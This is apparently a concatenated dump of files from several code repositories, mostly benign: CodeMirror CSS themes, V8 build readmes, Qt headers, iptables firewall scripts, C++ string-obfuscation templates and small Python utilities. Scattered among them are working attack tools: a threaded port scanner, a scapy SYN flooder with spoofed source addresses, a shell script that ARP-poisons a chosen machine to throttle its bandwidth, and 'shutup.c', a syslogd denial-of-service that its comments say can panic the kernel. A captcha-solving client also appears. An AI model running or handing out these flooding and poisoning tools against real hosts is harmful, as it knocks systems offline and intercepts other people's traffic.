| } 27 | 28 | #define _TT(...) _TR(_TC<__VA_ARGS__>()) 29 | 30 | #define AT(L,I) (I < sizeof(L)) ? L[I] : 0 31 | #define DECL(z, n, L) AT(L,n), 32 | #define _TS(L) _TT(BOOST_PP_REPEAT(64, DECL, L) '\0') //sizeof(L) 33 | 34 | string _TR(string str) 35 | { 36 | for (size_t i = 0; i < str.size(); ++i) 37 | str[i] = str[i] ^ 0x55; 38 | return str; 39 | } 40 | 41 | int main() 42 | { 43 | cout << _TT('s', 'a', 'l', 'a', 'm') << '.' << endl; //ugly 44 | cout << _TS("salam") << '.' << endl; //pretty 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /python/teh1337/portscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys, socket, threading 3 | 4 | if len(sys.argv) != 2: 5 | print "Usage: %s " % sys.argv[0] 6 | sys.exit(1) 7 | 8 | target = sys.argv[1] 9 | open = [] 10 | port = 1 11 | thread_limit = 1500 12 | 13 | class Scan(threading.Thread): 14 | global target, open 15 | def __init__(self,port): 16 | threading.Thread.__init__(self) 17 | self.port = port 18 | def run(self): 19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | try: 21 | s.connect((target,self.port)) 22 | open.append("%i" % self.port) 23 | s.close() 24 | except: pass 25 | 26 | scanning = "Scanning host: %s" % target 27 | print scanning 28 | print "-" * len(scanning) 29 | 30 | while port <= 65535: 31 | if threading.activeCount() < thread_limit: 32 | Scan(port).start() 33 | port += 1 34 | sys.stdout.write("\r"+"Port:"+(" " * (len(scanning) - len("Port:%i" % port)))+"%i" % port) 35 | 36 | sys.stdout.write('\r'+(" "*(len(scanning)))) 37 | print "\rOpen TCP ports:" 38 | for i in range(len(open)): print open[i] 39 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/cobalt.css: -------------------------------------------------------------------------------- 1 | .cm-s-cobalt { background: #002240; color: white; } 2 | .cm-s-cobalt span.CodeMirror-selected { background: #b36539 !important; } 3 | .cm-s-cobalt .CodeMirror-gutter { background: #002240; border-right: 1px solid #aaa; } 4 | .cm-s-cobalt .CodeMirror-gutter-text { color: #d0d0d0; } 5 | .cm-s-cobalt .CodeMirror-cursor { border-left: 1px solid white !important; } 6 | 7 | .cm-s-cobalt span.cm-comment { color: #08f; } 8 | .cm-s-cobalt span.cm-atom { color: #845dc4; } 9 | .cm-s-cobalt span.cm-number, .cm-s-cobalt span.cm-attribute { color: #ff80e1; } 10 | .cm-s-cobalt span.cm-keyword { color: #ffee80; } 11 | .cm-s-cobalt span.cm-string { color: #3ad900; } 12 | .cm-s-cobalt span.cm-meta { color: #ff9d00; } 13 | .cm-s-cobalt span.cm-variable-2, .cm-s-cobalt span.cm-tag { color: #9effff; } 14 | .cm-s-cobalt span.cm-variable-3, .cm-s-cobalt span.cm-def { color: white; } 15 | .cm-s-cobalt span.cm-error { color: #9d1e15; } 16 | .cm-s-cobalt span.cm-bracket { color: #d8d8d8; } 17 | .cm-s-cobalt span.cm-builtin, .cm-s-cobalt span.cm-special { color: #ff9e59; } 18 | -------------------------------------------------------------------------------- /syn-flood/synflood: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ######################################### 3 | # 4 | # SYNflood - A multithreaded SYN Flooder 5 | # author: arthurnn 6 | # 7 | # 8 | ######################################### 9 | import socket, random, sys, threading 10 | from scapy.all import * 11 | 12 | if len(sys.argv) != 3: 13 | print "Usage: %s " % sys.argv[0] 14 | sys.exit(1) 15 | 16 | target = sys.argv[1] 17 | port = int(sys.argv[2]) 18 | 19 | total = 0 20 | conf.iface='en1';#network card XD 21 | 22 | class sendSYN(threading.Thread): 23 | global target, port 24 | def __init__(self): 25 | threading.Thread.__init__(self) 26 | def run(self): 27 | i = IP() 28 | i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) 29 | i.dst = target 30 | 31 | t = TCP() 32 | t.sport = random.randint(1,65535) 33 | t.dport = port 34 | t.flags = 'S' 35 | 36 | send(i/t, verbose=0) 37 | 38 | print "Flooding %s:%i with SYN packets." % (target, port) 39 | while 1: 40 | sendSYN().start() 41 | total += 1 42 | sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total) 43 | -------------------------------------------------------------------------------- /etc/stun_server_list.txt: -------------------------------------------------------------------------------- 1 | # A list of available STUN server. 2 | 3 | stun.l.google.com:19302 4 | stun1.l.google.com:19302 5 | stun2.l.google.com:19302 6 | stun3.l.google.com:19302 7 | stun4.l.google.com:19302 8 | stun01.sipphone.com 9 | stun.ekiga.net 10 | stun.fwdnet.net 11 | stun.ideasip.com 12 | stun.iptel.org 13 | stun.rixtelecom.se 14 | stun.schlund.de 15 | stunserver.org 16 | stun.softjoys.com 17 | stun.voiparound.com 18 | stun.voipbuster.com 19 | stun.voipstunt.com 20 | stun.voxgratia.org 21 | stun.xten.com 22 | 23 | 24 | // STUN servers 25 | exports.stun = [ 26 | 'stun.l.google.com:19302', 27 | 'stun1.l.google.com:19302', 28 | 'stun2.l.google.com:19302', 29 | 'stun3.l.google.com:19302', 30 | 'stun4.l.google.com:19302', 31 | 'stun.ekiga.net', 32 | 'stun.ideasip.com', 33 | 'stun.iptel.org', 34 | 'stun.rixtelecom.se', 35 | 'stun.schlund.de', 36 | 'stunserver.org', 37 | // 'stun.softjoys.com', 38 | 'stun.stunprotocol.org:3478', 39 | // 'stun.turnservers.com:3478', 40 | 'stun.voiparound.com', 41 | 'stun.voipbuster.com', 42 | 'stun.voipstunt.com' 43 | ]; 44 | 45 | // TURN servers 46 | exports.turn = [ 47 | ]; 48 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/night.css: -------------------------------------------------------------------------------- 1 | /* Loosely based on the Midnight Textmate theme */ 2 | 3 | .cm-s-night { background: #0a001f; color: #f8f8f8; } 4 | .cm-s-night span.CodeMirror-selected { background: #a8f !important; } 5 | .cm-s-night .CodeMirror-gutter { background: #0a001f; border-right: 1px solid #aaa; } 6 | .cm-s-night .CodeMirror-gutter-text { color: #f8f8f8; } 7 | .cm-s-night .CodeMirror-cursor { border-left: 1px solid white !important; } 8 | 9 | .cm-s-night span.cm-comment { color: #6900a1; } 10 | .cm-s-night span.cm-atom { color: #845dc4; } 11 | .cm-s-night span.cm-number, .cm-s-night span.cm-attribute { color: #ffd500; } 12 | .cm-s-night span.cm-keyword { color: #599eff; } 13 | .cm-s-night span.cm-string { color: #37f14a; } 14 | .cm-s-night span.cm-meta { color: #7678e2; } 15 | .cm-s-night span.cm-variable-2, .cm-s-night span.cm-tag { color: #99b2ff; } 16 | .cm-s-night span.cm-variable-3, .cm-s-night span.cm-def { color: white; } 17 | .cm-s-night span.cm-error { color: #9d1e15; } 18 | .cm-s-night span.cm-bracket { color: #8da6ce; } 19 | .cm-s-night span.cm-comment { color: #6900a1; } 20 | .cm-s-night span.cm-builtin, .cm-s-night span.cm-special { color: #ff9e59; } 21 | -------------------------------------------------------------------------------- /ofi-labs-x2/hybrid/nativedialog/nativedialog.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2011 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #ifndef NATIVEDIALOG_H 21 | #define NATIVEDIALOG_H 22 | 23 | #include 24 | 25 | class Dialog: public QObject 26 | { 27 | Q_OBJECT 28 | 29 | public: 30 | Dialog(QObject *parent = 0); 31 | 32 | public slots: 33 | void showMessage(const QString& msg); 34 | }; 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /python/teh1337/decaptcher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Decaptcher Python API Module 4 | # By Brandon Smith (brandon.smith@studiobebop.net) 5 | # 6 | import requests 7 | 8 | class decaptcher: 9 | def __init__(self, username, password, product_id=""): 10 | self.__action_url = "http://poster.decaptcher.com/" 11 | self.__username = username 12 | self.__password = password 13 | self.__product_id = product_id 14 | 15 | def get_balance(self): 16 | data = {"function": "balance", 17 | "username": self.__username, 18 | "password": self.__password} 19 | request = requests.post(self.__action_url, data) 20 | return float(request.content) 21 | 22 | def solve_image(self, image_path): 23 | data = {"function": "picture2", 24 | "username": self.__username, 25 | "password": self.__password, 26 | "pict_to": "0", 27 | "pict_type": "0", 28 | "pict": open(image_path, "rb").read()} 29 | request = requests.post(self.__action_url, data) 30 | answer = request.content.split("|")[-1] 31 | return answer -------------------------------------------------------------------------------- /cpp/constexpr-string/8.h: -------------------------------------------------------------------------------- 1 | 2 | #include "stdafx.h" 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | using namespace std; 9 | 10 | #include 11 | 12 | 13 | template 14 | struct Pair 15 | { 16 | static const char first = C; 17 | static const size_t second = I; 18 | }; 19 | 20 | template 21 | struct EncryptByte 22 | { 23 | static const char value = T::first ^ 0x55; 24 | }; 25 | 26 | template 27 | struct EncryptHelper 28 | { 29 | static const char value[sizeof...(T)]; 30 | }; 31 | 32 | template 33 | const char EncryptHelper::value[sizeof...(T)] = { 34 | EncryptByte::value... 35 | }; 36 | 37 | #define AT(L,I) (I < sizeof(L)) ? char(L[I]) : char('\0') 38 | #define DECL(z, n, L) Pair, 39 | #define ENCSTR(L) EncryptHelper::value 40 | #define SAFESTR(L) Decrypt(ENCSTR(L)) 41 | 42 | string Decrypt(string str) 43 | { 44 | for (unsigned int i = 0; i < str.length(); ++i) 45 | str[i] = str[i] ^ 0x55; 46 | return str; 47 | } 48 | 49 | int main() 50 | { 51 | cout << SAFESTR("AES-encrypted string") << endl; 52 | } 53 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/filejs/rot13.js: -------------------------------------------------------------------------------- 1 | // Encrypt a text file using ROT-13 substitution cipher 2 | 3 | // http://www.google.com/search?q=rot13+javascript+stackoverflow 4 | String.prototype.rot13 = function(s) 5 | { 6 | return (s ? s : this).split('').map(function(_) 7 | { 8 | if (!_.match(/[A-za-z]/)) return _; 9 | c = Math.floor(_.charCodeAt(0) / 97); 10 | k = (_.toLowerCase().charCodeAt(0) - 83) % 26 || 26; 11 | return String.fromCharCode(k + ((c == 0) ? 64 : 96)); 12 | }).join(''); 13 | } 14 | 15 | if (system.args.length !== 3) { 16 | system.print("Usage: rot13.js inputfile outputfile"); 17 | system.exit(-1); 18 | } 19 | 20 | if (system.args[1] === system.args[2]) { 21 | system.print("Output file can't be the same as input file"); 22 | system.exit(-1); 23 | } 24 | 25 | try { 26 | var input = fs.open(system.args[1], 'r'); 27 | var output = fs.open(system.args[2], 'w'); 28 | try { 29 | while (true) 30 | output.writeLine(input.next().rot13()); 31 | } 32 | catch (e) { } // EOF exception 33 | } 34 | catch (err) { 35 | system.print("FAIL:", err); 36 | system.exit(-1); 37 | } 38 | finally { 39 | input.close(); 40 | output.close(); 41 | } 42 | 43 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsbeautify8/README.txt: -------------------------------------------------------------------------------- 1 | Command-line jsbeautify using V8. 2 | 3 | This tool requires a working V8 library. V8 is the JavaScript engine for 4 | Google Chrome. It is open-source and available from the official site: 5 | http://code.google.com/p/v8/. 6 | 7 | Please follow the instructions on Google V8 wiki page in order to build it. 8 | It is expected that you have it under a sub-directory called lib. Some 9 | important wiki pages are: 10 | http://code.google.com/p/v8/wiki/Source 11 | http://code.google.com/p/v8/wiki/BuildingOnWindows 12 | http://code.google.com/p/v8/wiki/Contributing 13 | 14 | Please pay attention to the required tools necessary to build V8 from source, 15 | i.e. Python and scons. 16 | 17 | Build steps: 18 | 19 | svn checkout http://v8.googlecode.com/svn/trunk lib 20 | cd lib && scons mode=release 21 | cd .. 22 | g++ -o jsbeautify jsbeautify.cpp -Ilib/include/ -lv8 -Llib -m32 23 | 24 | How to use: 25 | 26 | ./jsbeautify somefile.js 27 | 28 | The formatted code is dumped to standard output. You can redirect it to a file. 29 | 30 | Note: I tested with V8 version 2.4.9 (revision 5610). If it does not work with 31 | later revision, try to check out exactly this revision (e.g. pass "-r 5610" as 32 | the option when using svn). 33 | 34 | -------------------------------------------------------------------------------- /etc/nflogd/rc.nflogd: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # settings 4 | 5 | name="nflogd" 6 | daemon="/home/ury/bin/$name" 7 | channel="1" 8 | pidfile="/tmp/nflogd.pid" 9 | errfile="/tmp/nflogd.err" 10 | logfile="/tmp/nflogd.txt" 11 | pcapfile="/tmp/nflogd.pcap" 12 | 13 | # RC 14 | 15 | case "$1" in 16 | start) 17 | $daemon --channel $channel \ 18 | --pcap $pcapfile \ 19 | --daemon $logfile \ 20 | --pid $pidfile \ 21 | --user nobody \ 22 | 2> $errfile 23 | ;; 24 | 25 | stop) 26 | if test -f $pidfile; 27 | then 28 | kill `cat $pidfile` 29 | else 30 | echo "pidfile [$pidfile] not exists" 31 | fi 32 | ;; 33 | 34 | restart) 35 | $0 stop 36 | $0 start 37 | ;; 38 | 39 | rotate) 40 | if test -f $pidfile; 41 | then 42 | kill -HUP `cat $pidfile` 43 | else 44 | echo "pidfile [$pidfile] not exists" 45 | fi 46 | ;; 47 | 48 | status) 49 | if test -f $pidfile; 50 | then 51 | if /bin/kill -0 `cat $pidfile` 2> /dev/null ; then 52 | echo "$name is running" 53 | else 54 | echo "pidfile exists but $name not running" 55 | fi 56 | else 57 | echo "$name is stopped" 58 | fi 59 | 60 | ;; 61 | *) 62 | echo "use arguments: {start|stop|restart|rotate|status}" 63 | exit 1 64 | esac 65 | exit 0 66 | 67 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Christmas Blaster 5 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | 15 | 16 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/filejs/coffee.js: -------------------------------------------------------------------------------- 1 | // Drive the CoffeeScript compiler to convert CoffeeScript to JavaScript 2 | 3 | // Important: full path to the compiler 4 | var compiler = '/home/yourusername/bin/coffee-script.js'; 5 | 6 | if (system.args.length !== 2) { 7 | system.print("Usage: coffee.js inputfile"); 8 | system.exit(-1); 9 | } 10 | 11 | if (!fs.exists(compiler)) { 12 | system.print("CoffeeScript compiler " + compiler + " is not available!"); 13 | system.exit(-1); 14 | } 15 | 16 | var loadFile = function(fname) 17 | { 18 | var content = '', 19 | f, s; 20 | 21 | f = fs.open(fname, 'r'); 22 | while (true) { 23 | s = f.readLine(); 24 | if (s.length === 0) { 25 | break; 26 | } 27 | content += s; 28 | } 29 | f.close(); 30 | 31 | return content; 32 | }; 33 | 34 | eval(loadFile(compiler)); 35 | if (typeof this.CoffeeScript !== 'object' || typeof this.CoffeeScript.compile !== 'function') { 36 | system.print("Something is wrong with the CoffeeScript compiler (" + compiler + ")."); 37 | system.print("Hint: make sure you reformat it, e.g. using jsbeautifier.org"); 38 | system.exit(-1); 39 | } 40 | 41 | var input = loadFile(system.args[1]); 42 | if (input.length === 0) { 43 | system.print('Nothing to convert!'); 44 | system.exit(1); 45 | } 46 | 47 | system.print(this.CoffeeScript.compile(input)); 48 | -------------------------------------------------------------------------------- /python/teh1337/lookandsay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | def process(seq): 3 | ones_twos_threes = map(lambda x: 0, range(3)) 4 | last = 0 5 | output = "" 6 | 7 | seq = map(int,list(seq)) 8 | if not len(seq): return "1" 9 | 10 | for i in range(len(seq)): 11 | if i == 0: last = seq[i] 12 | if seq[i] == last: 13 | ones_twos_threes[last - 1] += 1 14 | last = seq[i] 15 | 16 | if seq[i] != last or i == len(seq)-1: 17 | if seq[i] != last: 18 | output += str(ones_twos_threes[last-1])+str(last) 19 | ones_twos_threes = map(lambda x: 0, range(3)) 20 | last = seq[i] 21 | ones_twos_threes[last - 1] += 1 22 | if i == len(seq)-1: 23 | output += str(ones_twos_threes[last-1])+str(last) 24 | 25 | elif seq[i] == last and i == len(seq)-1: 26 | output += str(ones_twos_threes[last-1])+str(last) 27 | 28 | return output 29 | 30 | 31 | lines = 0 32 | while lines < 2: lines = input("lines: ") 33 | 34 | seq = "" 35 | for a in range(lines): 36 | seq = process(seq) 37 | print seq 38 | -------------------------------------------------------------------------------- /qt/firewall/iptables/firewall-public.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ####################### 3 | # 4 | # CDN 10/12/2009 5 | # 6 | # firewall-laptop.sh 7 | # 8 | # Firewall rules for laptop when working 9 | # away from home 10 | # 11 | # Note: Must be run as root 12 | # 13 | ####################### 14 | 15 | IPTABLES="sudo /sbin/iptables" 16 | IPTABLES_SAVE="sudo /sbin/iptables-save" 17 | TARGET="/etc/iptables/firewall-public.txt" 18 | 19 | # Flush any existing rules 20 | $IPTABLES -F 21 | 22 | # used to identify the firewall type 23 | $IPTABLES -X HOME-NETWORK 24 | $IPTABLES -N PUBLIC-NETWORK 25 | 26 | # Default Policies 27 | $IPTABLES -P INPUT DROP 28 | $IPTABLES -P FORWARD DROP 29 | $IPTABLES -P OUTPUT ACCEPT 30 | 31 | # Accept local host 32 | $IPTABLES -A INPUT -i lo --source 127.0.0.1 --destination 127.0.0.1 -j ACCEPT 33 | 34 | 35 | # Accept established connection packets 36 | $IPTABLES -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 37 | 38 | # Accept HTTP and HTTPS 39 | $IPTABLES -A INPUT -p tcp --dport http -j ACCEPT 40 | $IPTABLES -A INPUT -p tcp --dport https -j ACCEPT 41 | 42 | # Accept ssh 43 | $IPTABLES -A INPUT -p tcp --dport ssh -j ACCEPT 44 | 45 | # Allow limited number of pings 46 | $IPTABLES -A INPUT -p icmp -m limit --limit 1/second --limit-burst 5 -j ACCEPT 47 | $IPTABLES -A INPUT -p icmp -j DROP 48 | 49 | $IPTABLES_SAVE > $TARGET 50 | 51 | # List rules 52 | $IPTABLES -v -L 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/orientation/index.html: -------------------------------------------------------------------------------- 1 | Detect orientation 2 | 3 | 28 | 29 | 30 |

Support for orientation change: Undetected.

31 |

Current orientation: Unknown.

32 |

User agent: 33 | 34 |

35 | 36 | 37 | -------------------------------------------------------------------------------- /cpp/constexpr-string/10.h: -------------------------------------------------------------------------------- 1 | // Binary code obfuscation through C++ template metaprogramming 2 | 3 | template 4 | struct Pair { 5 | static const char first = C; 6 | static const size_t second = I; 7 | }; 8 | 9 | template class BlockCipher, typename Key, typename T> 10 | struct EncryptByte { 11 | static const u32 L = BlockCipher::block_length; 12 | typedef typename BlockCipher::template EncryptCtr Block; 13 | static const char value = T::first ^ Block::template Byte::value; 14 | }; 15 | 16 | template class BlockCipher, typename Key, typename...T> 17 | struct EncryptHelper { 18 | static const char value[sizeof...(T)]; 19 | }; 20 | 21 | template class BlockCipher, typename Key, typename...T> 22 | const char EncryptHelper::value[sizeof...(T)] = { 23 | EncryptByte::value... 24 | }; 25 | 26 | # define THRESHOLD 256 27 | # define AT(L,I) (I < sizeof(L)) ? char(L[I]) : char(’\0’) 28 | # define DECL(z, n, L) Pair, 29 | # define ENCSTR(K0,K1,K2,K3,L) EncryptHelper, \ 30 | BOOST_PP_REPEAT(THRESHOLD, DECL, L) DECL(0, THRESHOLD, L)>::value 31 | # define SAFERSTR(L,K0,K1,K2,K3) DecryptCtr>\ 32 | (ENCSTR(K0,K1,K2,K3,L),THRESHOLD) 33 | # define SAFESTR(L) SAFERSTR(L,__RAND__,__LINE__,__COUNTER__,0) 34 | 35 | // std::cout << SAFESTR("AES-encrypted string") << std::endl; 36 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/flowerpower/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Flower Power 5 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | 15 | 16 | 17 | 18 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /python/teh1337/squashLeech.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Leech Squasher 3 | # 4 | # To test whether or not bandwidth is being limited, 5 | # run Speakeasy's bandwidth speed test on the 'leech' machine. 6 | # http://www.speakeasy.net/speedtest/ 7 | # 8 | 9 | ### 10 | # *** CONFIGURE! *** 11 | ### 12 | iface="" 13 | iface_speed="100mbit" 14 | router_ip="" 15 | leech_speed="56kbit" 16 | leech_ip="" 17 | 18 | ### 19 | # Commands 20 | ### 21 | echo "[+] Clearing settings." 22 | iptables --flush 23 | iptables -t mangle --flush 24 | iptables -t nat --flush 25 | tc qdisc del dev $iface root 26 | 27 | echo "[+] Setting up iptables." 28 | echo 1 > /proc/sys/net/ipv4/ip_forward 29 | echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects 30 | iptables -t nat -A POSTROUTING -o $iface -j MASQUERADE 31 | iptables -A FORWARD -i $iface -j ACCEPT 32 | iptables -t mangle -A FORWARD -i eth0 -s $leech_ip -j MARK --set-mark 1337 33 | iptables -t mangle -A FORWARD -i eth0 -d $leech_ip -j MARK --set-mark 1337 34 | 35 | echo "[+] Setting up HTB." 36 | tc qdisc add dev $iface parent root handle 1: htb default 10 37 | tc class add dev $iface parent 1: classid 1:10 htb rate $iface_speed prio 0 38 | tc class add dev $iface parent 1: classid 1:11 htb rate $leech_speed prio 1 39 | tc filter add dev $iface protocol ip parent 1:0 handle 1337 fw flowid 1:11 40 | 41 | 42 | ### 43 | # Poison the leech's ARP table 44 | ### 45 | echo "[+] Poisoning ARP table. Press ctrl-c to stop." 46 | ./poisARP.py $router_ip $leech_ip 47 | -------------------------------------------------------------------------------- /ofi-labs-x2/LICENSE.BSD: -------------------------------------------------------------------------------- 1 | Redistribution and use in source and binary forms, with or without 2 | modification, are permitted provided that the following conditions are met: 3 | 4 | * Redistributions of source code must retain the above copyright 5 | notice, this list of conditions and the following disclaimer. 6 | * Redistributions in binary form must reproduce the above copyright 7 | notice, this list of conditions and the following disclaimer in the 8 | documentation and/or other materials provided with the distribution. 9 | * Neither the name of the nor the 10 | names of its contributors may be used to endorse or promote products 11 | derived from this software without specific prior written permission. 12 | 13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 16 | ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 17 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 22 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/filejs/README.txt: -------------------------------------------------------------------------------- 1 | File processing using V8. 2 | 3 | This tool requires a working V8 library. V8 is the JavaScript engine for 4 | Google Chrome. It is open-source and available from the official site: 5 | http://code.google.com/p/v8/. 6 | 7 | Please follow the instructions on Google V8 wiki page in order to build it. 8 | It is expected that you have it under a sub-directory called lib. Some 9 | important wiki pages are: 10 | http://code.google.com/p/v8/wiki/Source 11 | http://code.google.com/p/v8/wiki/BuildingOnWindows 12 | http://code.google.com/p/v8/wiki/Contributing 13 | 14 | Please pay attention to the required tools necessary to build V8 from source, 15 | i.e. Python and scons. 16 | 17 | Build steps: 18 | 19 | svn checkout http://v8.googlecode.com/svn/trunk lib 20 | cd lib && scons mode=release 21 | cd .. 22 | g++ -o filejs filejs.cpp -Ilib/include/ -lv8 -Llib -lpthread 23 | 24 | Note 1: On 64-bit system, you may need to add 'arch=x64' when running scons. 25 | 26 | Note 2: I tested with V8 version 2.4.9 (revision 5610). If it does not work with 27 | later revision, try to check out exactly this revision (e.g. pass "-r 5610" as 28 | the option when using svn). 29 | 30 | Note 3: On some system, you need to add '-lpthread' when compiling filejs. 31 | 32 | How to use: 33 | 34 | ./filejs.cpp yourscript.js [arguments] 35 | 36 | Some included examples: 37 | 38 | rot13.js Encyrpt a text file using ROT-13 substitution cipher 39 | countlines.js Count non-empty lines in a file 40 | 41 | -------------------------------------------------------------------------------- /qt/firewall/qiptables/mainwindow.h: -------------------------------------------------------------------------------- 1 | #ifndef MAINWINDOW_H 2 | #define MAINWINDOW_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "frmconfig.h" 14 | 15 | namespace Ui { 16 | class MainWindow; 17 | } 18 | 19 | class MainWindow : public QMainWindow { 20 | Q_OBJECT 21 | public: 22 | 23 | static const int FIREWALL_HOME; 24 | static const int FIREWALL_PUBLIC; 25 | 26 | MainWindow(QWidget *parent = 0); 27 | ~MainWindow(); 28 | 29 | QString executeProgram(QString prog, QStringList args = QStringList(), bool silent = false); 30 | int getCurrentDefaultFirewall(); 31 | 32 | public slots: 33 | void changeDefaultFirewall(int firewall); 34 | 35 | 36 | protected slots: 37 | void changeFirewall(); 38 | void openFrmConfig(); 39 | void openFrmAbout(); 40 | void openFrmAboutQt(); 41 | 42 | protected: 43 | void changeEvent(QEvent *e); 44 | void closeEvent(QCloseEvent *event); 45 | void writeSettings(); 46 | void readSettings(); 47 | QString getUser(); 48 | bool isRoot(); 49 | void widgetEnable(bool enable); 50 | int getCurrentActiveFirewall(); 51 | void displayCurrentFirewall(int currentFirewall); 52 | 53 | private: 54 | Ui::MainWindow *ui; 55 | 56 | frmConfig *configForm; 57 | 58 | QStringList firewalls; 59 | int currentDefaultFirewall; 60 | int currentActiveFirewall; 61 | }; 62 | 63 | #endif // MAINWINDOW_H 64 | -------------------------------------------------------------------------------- /exploits_denial/shutup.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * shutup - syslogd 1.3 denial of service 4 | * by Mixter 5 | * 6 | * This opens up to 2000 unix domain socket connections 7 | * to /dev/log, attempting to stop syslog from responding. 8 | * WARNING: This apparently causes the kernel to panic! 9 | * You might have to run this 2 times to reproduce it as non-root. 10 | * This code is for educational purposes only, do not abuse. 11 | * 12 | */ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #define PATH "/dev/log" 21 | #define SHUTUPS 200 22 | #define PROCS 10 23 | 24 | int 25 | main (void) 26 | { 27 | int s, i; 28 | struct sockaddr_un sun; 29 | char host[128]; 30 | 31 | sun.sun_family = AF_UNIX; 32 | strncpy (sun.sun_path, PATH, 100); 33 | gethostname (host, 128); 34 | 35 | printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n"); 36 | printf ("syslog on %s is now being overloaded...\n", host); 37 | 38 | if (fork ()) 39 | exit (0); 40 | 41 | for (i = 0; i < PROCS; i++) 42 | if (fork () == 0) 43 | break; 44 | 45 | for (i = 0; i < SHUTUPS; i++) 46 | { 47 | if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0) 48 | { 49 | perror ("socket"); 50 | while (1); 51 | } 52 | 53 | if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0) 54 | { 55 | perror ("connect"); 56 | close (s); 57 | i--; 58 | } 59 | } 60 | 61 | while (1); 62 | } 63 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/senchatouchqtwebkit/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #if defined(Q_OS_SYMBIAN) && defined(ORIENTATIONLOCK) 5 | #include 6 | #include 7 | #include 8 | #include 9 | #endif // Q_OS_SYMBIAN && ORIENTATIONLOCK 10 | 11 | int main(int argc, char *argv[]) 12 | { 13 | QApplication app(argc, argv); 14 | 15 | #if defined(Q_OS_SYMBIAN) && defined(ORIENTATIONLOCK) 16 | const CAknAppUiBase::TAppUiOrientation uiOrientation = CAknAppUi::EAppUiOrientationLandscape; 17 | CAknAppUi* appUi = dynamic_cast (CEikonEnv::Static()->AppUi()); 18 | TRAPD(error, 19 | if (appUi) 20 | appUi->SetOrientationL(uiOrientation); 21 | ); 22 | Q_UNUSED(error) 23 | #endif // ORIENTATIONLOCK 24 | 25 | const QSize screenSize(640, 360); 26 | 27 | QGraphicsScene scene; 28 | 29 | QGraphicsView view(&scene); 30 | view.setFrameShape(QFrame::NoFrame); 31 | view.setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); 32 | view.setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); 33 | 34 | QGraphicsWebView webview; 35 | webview.resize(screenSize); 36 | webview.load(QString::fromLatin1("html/examples/kitchensink/index.html")); 37 | 38 | scene.addItem(&webview); 39 | 40 | #if defined(Q_OS_SYMBIAN) 41 | view.showFullScreen(); 42 | #elif defined(Q_WS_MAEMO_5) 43 | view.showMaximized(); 44 | #else 45 | 